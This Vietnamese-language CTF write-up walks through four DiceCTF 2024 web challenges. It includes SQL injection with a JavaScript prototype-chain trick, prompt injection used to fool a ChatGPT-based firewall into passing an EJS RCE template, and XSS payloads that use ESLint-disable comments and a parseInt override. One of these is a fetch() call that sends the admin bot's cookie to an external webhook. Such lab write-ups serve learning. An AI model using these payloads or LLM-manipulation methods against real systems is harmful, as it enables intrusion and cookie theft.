---
# System prepended metadata

title: DiceCTF 2024

---

# DiceCTF 2024


### dicedicegoose

ddg.mc.ax

#### Recon
![image](https://hackmd.io/_uploads/rJ8h7669a.png)

Hmm trang web có vẻ cung cấp cho chúng ta một game `AWSD` di chuyển cục xúc sắc. Đi vào source code xem sao 

![image](https://hackmd.io/_uploads/BJbNS6656.png)


Ở đây nó cung cấp cho chúng ta một mảng với `player` và `goose` và một mảng `history` được với mỗi phần tử là hai giá trị trên

![image](https://hackmd.io/_uploads/HJKNvppqT.png)
Player sẽ di chuyển `A`, `W`, `S`, `D` lên xuống trái phải 1 ô và goose sẽ được di chuyển random

![image](https://hackmd.io/_uploads/B1ujwpTqT.png)
Để có được flag thì ta phải đạt `score` bằng 9 với `score` được đặt với `history.length`

![image](https://hackmd.io/_uploads/SkCW_Tp5T.png)
#### Exploit

Như đã phân tích ở trên để lấy được flag thì ta phải đạt được là `score` bằng 9 nghĩa là lúc này cả `player` và `goose` chỉ được di chuyển 8 lần lúc này ta có thể hình dung vị trí để lấy được flag như sau 

![image](https://hackmd.io/_uploads/HyTb9TT9a.png)
Vì `goose` di chuyển random nên thay vì di chuyển ta có thể tự tạo ra một mảng history do ta modified vì `player` bắt đầu ở vị trí (0,1) nên để xuống như hình trên thì ta chỉ cần sửa giá trị của `rows` tăng dần từ 0 -> 8 tương ứng với `goose` là giảm `colums` tử 9 -> 1

![image](https://hackmd.io/_uploads/rkTii669T.png)
Cuối cùng ta được một mảng di chuyển như sau 

`history = [[[0,1], [9,9]],[[1,1], [9,8]],[[2,1], [9,7]],[[3,1], [9,6]],[[4,1], [9,5]],[[5,1], [9,4]],[[6,1], [9,3]],[[7,1], [9,2]],[[8,1], [9,1]]]`


![image](https://hackmd.io/_uploads/S1m0p6aqa.png)

And flag is `dice{pr0_duck_gam3r_AAEJCQEBCQgCAQkHAwEJBgQBCQUFAQkEBgEJAwcBCQIIAQkB}`



### funnylogin

#### Recon
![image](https://hackmd.io/_uploads/SkEIJCTqa.png)
Trang web cung cấp cho chúng ta một form login đơn giản
Bây giờ hãy chú ý đến source code




```
const express = require('express');
const crypto = require('crypto');

const app = express();

const db = require('better-sqlite3')('db.sqlite3');
db.exec(`DROP TABLE IF EXISTS users;`);
db.exec(`CREATE TABLE users(
    id INTEGER PRIMARY KEY,
    username TEXT,
    password TEXT
);`);

const FLAG = process.env.FLAG || "dice{test_flag}";
const PORT = process.env.PORT || 3000;

const users = [...Array(100_000)].map(() => ({ user: `user-${crypto.randomUUID()}`, pass: crypto.randomBytes(8).toString("hex") }));
db.exec(`INSERT INTO users (id, username, password) VALUES ${users.map((u,i) => `(${i}, '${u.user}', '${u.pass}')`).join(", ")}`);

const isAdmin = {};
const newAdmin = users[Math.floor(Math.random() * users.length)];
isAdmin[newAdmin.user] = true;

app.use(express.urlencoded({ extended: false }));
app.use(express.static("public"));

app.post("/api/login", (req, res) => {
    const { user, pass } = req.body;

    const query = `SELECT id FROM users WHERE username = '${user}' AND password = '${pass}';`;
    try {
        const id = db.prepare(query).get()?.id;
        if (!id) {
            return res.redirect("/?message=Incorrect username or password");
        }

        if (users[id] && isAdmin[user]) {
            return res.redirect("/?flag=" + encodeURIComponent(FLAG));
        }
        return res.redirect("/?message=This system is currently only available to admins...");
    }
    catch {
        return res.redirect("/?message=Nice try...");
    }
});

app.listen(PORT, () => console.log(`web/funnylogin listening on port ${PORT}`));

```

Nhìn ở đoạn code, nó tạo ra một object `isAdmin` và chọn một user trong mảng `users` đã tạo trước đó làm `admin`
```
const isAdmin = {};
const newAdmin = users[Math.floor(Math.random() * users.length)];
isAdmin[newAdmin.user] = true;
```
Và để lấy được flag ta phải bypass qua `user[id]` và `isAdmin[user]` với `id` phải tồn tại trong mảng `users` nói trên và `isAdmin[user]` phải trả về `true`


#### Exploit
Như đã trình bày, nhìn vào đoạn source code ta có thể thấy là hai params truyền vào `user` và `pass` không bị sanitize, ta hoàn toàn có thể trigger được SQL injection. Tuy nhiên làm sao để bypass `isAdmin[user]` hãy chú ý tới việc `isAdmin` là một object và giá trị `user` ta truyền vào điều khiển được thuộc tính của object này. Vì vậy thay vì bruteforce đúng `user` được chọn là `admin` thì ta có thể truyền một phương thức đã tồn tại sẵn ở `isAdmin`.
Chúng ta thường sử dụng ký hiệu dấu ngoặc vuông để truy cập một thuộc tính của đối tượng. Thuộc tính `isAdmin` kế thừa các phương thức tiêu chuẩn từ nguyên mẫu của nó và chúng ta có thể truy cập chúng thông qua chuỗi nguyên mẫu (prototype chain).
![image](https://hackmd.io/_uploads/ry9bZG096.png)

https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/Object_prototypes

Lúc này `isAdmin[user]` sẽ luôn trả về `True`. Và để bypass `user[id]` công việc của ta là sử dụng SQLi để nó trả về 1 `user` nào đó


![image](https://hackmd.io/_uploads/SJpTGzR9p.png)

### gpwaf


#### Recon


Truy cập vào ứng dụng, chúng ta có một trình render EJS được bảo vệ bởi một WAF (Web Application Firewall) được xử lý thông qua chatGPT

![image](https://hackmd.io/_uploads/rJ0bNzC5p.png)



Đoạn prompt ban đầu định nghĩa WAF rất đơn giản 
```
const system = [
	'You are a web application firewall',
	'Your goal is to stop attempted hacking attempts',
	'I will give you a submission and you will respond with H or R, only a single letter',
	'H means hacking attempt, R means not a hacking attempt'
].join('. ')
```

The server code resposible is as follows
```
createServer(async (req, res) => {
	const template = new URL(req.url, 'http://localhost').searchParams.get('template');
	if (!template) {
		return res.end(ejs.render(html, {
			query: '',
			result: 'result goes here!'
		}));
	}

	if (/[^\x20-\x7F \r\n]/.test(template)) {
		return res.end(ejs.render(html, {
			query: template,
			result: 'printable ascii only!'
		}))
	}

	if (template.length > 500) {
		return res.end(ejs.render(html, {
			query: template,
			result: 'too long!'
		}))
	}

	const result = await check(template);
	if (result !== 'R') {
		return res.end(ejs.render(html, {
			query: template,
			result: 'hacking attempt!',
		}));
	}

	try {
		return res.end(ejs.render(html, {
			query: template,
			result: ejs.render(template),
		}));
	} catch(e) {
		return res.end(ejs.render(html, {
			query: template,
			result: e.toString()
		}));
	}
}).listen(8080);
```

Nó chỉ cho phép chúng ta nhập các ký tự `printable ASCII`  và có giới hạn chiều dài là 500 ký tự. Dựa trên câu hỏi đặt ra, nếu ChatGPT trả về "H", servers sẽ phát hiện đó là một cố gắng tấn công và sẽ trả về "hacking attempt!". Mục tiêu của ta là tạo một câu hỏi để gửi đến ChatGPT sao cho chúng ta có thể lợi dụng ejs.render trên nội dung do người dùng tạo ra để đạt được RCE (Remote Code Execution) trong khi vượt qua đoạn WAF ban đầu.

Vì sử dụng chatGPT nên mình nghĩ kịch bản exploit ở đây ta sẽ sử dụng `prompt injection`

###### Prompt Injection là một lỗ hổng ảnh hưởng đến một số mô hình AI/ML, đặc biệt là một số loại mô hình ngôn ngữ LLM. Các cuộc tấn công prompt injection nhằm mục đích thu được phản ứng không mong muốn từ các công cụ dựa trên Mô Hình Ngôn Ngữ Lớn (LLM). Một loại tấn công bao gồm việc thao túng hoặc chèn nội dung độc hại vào các prompts để khai thác hệ thống

Prompt injection có hai kiểu tấn công:

1. Jailbreaks - Direct Prompt Injections
Jailbreaks (không phải việc jailbreaks Iphone) là một kiểu trong Prompt Injection. Direct Prompt Injections là những phép thử của người dùng tới LLM một cách trực tiếp, đánh lừa nó hiển thị nhiều thông tin hơn, những điều mà creator của LLM không cho phép nó làm. Ví dụ với hình ảnh bên trên là một dạng Direct Prompt Injection.
Nếu chỉ có một loại Jailbreak, nó sẽ không phải là một vấn đề quá phức tạp. Tuy nhiên thực tế có hàng trăm loại prompt sử dụng để [Jailbreak](https://www.jailbreakchat.com/) và người dùng có thể tạo ra các biến thể của chúng => rất khó để có thể fixed một cách hoàn toàn.
2. Indirect prompt injection (Chúng ta sẽ sử dụng cách khai thác này)
Indirect prompt injection (tiêm một cách gián tiếp) là kiểu tấn công mà attacker sẽ nhúng prompt vào dữ liệu mà LLM sẽ sử dụng.

Ví dụ: Yêu cầu LLM phân tích hoặc nhận xét một trang web, attacker có thể tạo ra thông báo để thu hút sự chú ý của AI và thao túng system prompt của nó bằng cách thực hiện nhúng đoạn nội dung ẩn vào trong website như sau:
![image](https://hackmd.io/_uploads/ByOcFM0cp.png)
Để rõ hơn, bạn đọc có thể xem video tạo đây https://greshake.github.io/

Ở đây tác giả đã lợi dụng việc Bing Chat có thể xem được các trang web hiện đang được mở. Attacker đã nhúng một vài đoạn prompt ẩn trong trang web mà người dùng đang truy cập. Bing Chat đã sử dụng dữ liệu đó và đã sử dụng Social Engineer để lừa đảo lấy cắp thông tin người dùng



#### Exploit

Như đã phân tích ở trên ta hoàn toàn có thể đánh lừa chatGPT bằng cách yêu cầu nó việc đưa ra phản hồi theo yêu cầu của mình như bảo nó những đoạn code này là an toàn, yêu cầu trả về luôn là một gái trị, hay chèn những đoạn malicious code ẩn trong prompt. Như vậy ta dễ dàng bypass qua WAF sử dụng `gpt-3.5-turbo` bằng cách thao túng nó rằng đoạn exploit script chúng ta đưa ra là an toàn, hoặc mình bảo nó nếu không trả về đúng theo yêu cầu của mình thì thế giới sẽ bị hủy diệt. Ok, anyway !!! 😂😂😂 Sau đó ta chèn một đoạn script để `ejs.render` giúp ta trigger được RCE 

![image](https://hackmd.io/_uploads/r1wGizC9T.png)

### calculator


https://calculator.mc.ax
https://adminbot.mc.ax/web-calculator


#### Recon 
Nó cung cấp cho chúng ta một single page có vẻ giống như một máy tính nhận phép tính và trả về kết quả thông thường

![image](https://hackmd.io/_uploads/Byi1nXC56.png)
##### Mục tiêu
Chúng ta có thể thấy admin bot tạo 1 cookie với the value được set là FLAG and assigns nó tới calculator's domain.

![image](https://hackmd.io/_uploads/S1l53QR9p.png)


Tuy nhiên việc truyền vào `query` đã bị sanitize có vẻ ở đây tồn tại một lỗ hổng XSS. Chú ý đến query sẽ được truyền vào function `runQuery` ở trên vì vậy có thể ta phải trigger XSS thông qua việc bypass function này
![image](https://hackmd.io/_uploads/rk1A3XA96.png)


The `runQuery` function

![image](https://hackmd.io/_uploads/ByQbqdCqT.png)



Đây là function chịu trách nhiện executing expression của chúng ta và trả về kết quả. Chúng ta có thể thấy `query` truyền vào phải có độ dài < 75 kí tự. Chúng ta có thể thấy nếu hàm `run` thực thi không thành công, nó sẽ được sanitize và in ra error messages. Tuy nhiên nếu thực thi thành công nó sẽ trả về kết quả mà không bị sanitize
Tiếp tục đến với `run` function:
![image](https://hackmd.io/_uploads/HJ9j2U05a.png)


Ở đây query truyền vào hàm `eval`, nhưng trước đó nó sẽ được sanitize:

![image](https://hackmd.io/_uploads/B1wZpI09T.png)


Hàm sanitize sẽ ngăn chăn ta truyền vào nhiều biểu thức bằng cách kiểm tra xem chuỗi đầu vào `input` có chứa ký tự nằm ngoài khoảng ASCII từ space đến ~ (các ký tự in được) hoặc có chứa dấu chấm phẩy (;) không

![image](https://hackmd.io/_uploads/H1I66L0cp.png)

Phân tích một hồi mình chưa tìm thấy cách nào để trigger được XSS, tuy nhiên hãy chú ý đến một libs đoạn code sử dụng `import { ESLint } from 'eslint'`
Điều đáng chú ý ở đây là việc `create` và `evaluate error` 
sử dụng `eslint`, nó sẽ trả về bất kì warnings hay error nào mà vi phạm `eslint rules`. Như vậy việc sử dụng eslint ở đây giúp đảm bảo rằng `query` ta truyền vào sẽ không thể trigger được XSS
Đôi nét về ESlint: 
###### ESLint là một công cụ kiểm tra mã nguồn JavaScript và TypeScript để xác định và báo cáo các nguy cơ lỗi, cũng như để thực hiện quy tắc lập trình và chuẩn mã
Trong trường hợp này đoạn code được linted như sau:
```((): number => (${expression.output}))()```
Điều đó có nghĩa là nếu ta truyền vào một chuỗi không hợp lệ eslint sẽ detect và trả về warning hoặc error:

![image](https://hackmd.io/_uploads/SytOlwCqa.png)
Tuy nhiên bản thân trong ESLint tại có một chức năng khá thú vị đó là `disable ESLint rules` bởi vì trong nhiều trường hợp việc sử dụng nó là không cần thiết lắm lên ta có thể thông qua việc sử dụng comment để disable các rules này 

https://learn.coderslang.com/0023-eslint-disable-for-specific-lines-files-and-folders/


![image](https://hackmd.io/_uploads/ryimQw0cT.png)

Vậy liệu ta có thể tận dụng nó để tắt việc dùng ESlint để filter XSS hay không nhỉ?
Quay trở lại challenge lúc này câu hỏi đặt ra lúc này việc check number type return. Hmm, đọc docs một hồi mình phát hiện ra ta có thể sử dung `any`: `The any type in TypeScript is a dangerous "escape hatch" from the type system. Using any disables many type checking rules and is generally best used only as a last resort or when prototyping code. This rule reports on explicit uses of the any keyword as a type annotation.`
https://typescript-eslint.io/rules/no-explicit-any/

Như vậy kết hợp tất cả thì để trigger được XSS thì payload của chúng ta dùng như sau

```"<script>alert(1)</script>" as any /* eslint-disable-line */```
Ta bypass việc check type number bằng cách trigger một string truyền vào sau đó sử dụng `as any`
![image](https://hackmd.io/_uploads/BybQEDA9a.png)
Boom !!! XSS thành công
![image](https://hackmd.io/_uploads/Bk1aHw09a.png)


#### Exploit

Như bạn có thể thấy xuyên suốt đoạn code nó không dùng bất cứ một CSP nào công việc cuối cùng chúng ta cần bypass nó là việc truyền vào không quá 75 kí tự, điều này dễ dàng khi ta chỉ cần host đoạn exploit script ở server do chúng ta kiểm soát sau yêu cầu bot call đến đó là xong. Ở đây mình sử dụng webhook
Because the challenge was hosted on HTTPS, my javascript had to be served from HTTPS as well

```
fetch("https://webhook.site/fc37af9a-c62f-4e7d-a42e-170c2862b3ac", {method: "post", body: document.cookie})
```
Tuy nhiên vì  challenge được hosted on HTTPS, đoạn javascript phải được served HTTPS và giới hạn của đoạn script truyền vào nên mình phải sử dụng tool để shorten URL. Ở đây mình sử dụng https://www.shorturl.at/shortener.php

```"<script src=//shorturl.at/npCF4></script>"as any/*eslint-disable-line*/```



![image](https://hackmd.io/_uploads/H1pHeu056.png)

```
Flag: flag=dice{society_if_typescript_were_sound}

```



### calculator 2

Tiếp tục đến với challenge này, thì có vẻ như việc sử dụng comment để disable comment đã bị filter

![image](https://hackmd.io/_uploads/Syr0Q_R5p.png)


Mục tiêu ở đây vẫn là trả về một chuỗi mà TypeScript xem như là một số. `parseInt` là một hàm chuyển đổi chuỗi thành số. Nhưng nếu thay thế `parseInt` bằng một hàm tự định nghĩa của chúng ta mà chỉ trả về chuỗi ban đầu, thì chúng ta có thể tận dụng tính chất của JavaScript khi trả về một tuple, chỉ giữ lại giá trị cuối cùng.

Trong JavaScript, khi trả về một tuple, chỉ giá trị cuối cùng của tuple đó được trả về. Điều này cho phép bạn thực hiện một câu lệnh và trả về một giá trị khác. Ví dụ: ``(console.log("hi"), 2)`` sẽ in ra "hi" trên console và trả về 2. Chúng ta có thể sử dụng tính chất này để thực hiện eval để thay thế parseInt bằng hàm đồng nhất (identity function), sau đó gọi parseInt với chuỗi chứa XSS payload của chúng ta.


```
(eval("parseInt=str=>str"),parseInt("<script src=/"+"/t.nck.dev></script>")
```


![image](https://hackmd.io/_uploads/rkTSvu0qa.png)
`Flag is dice{learning-how-eslint-works}`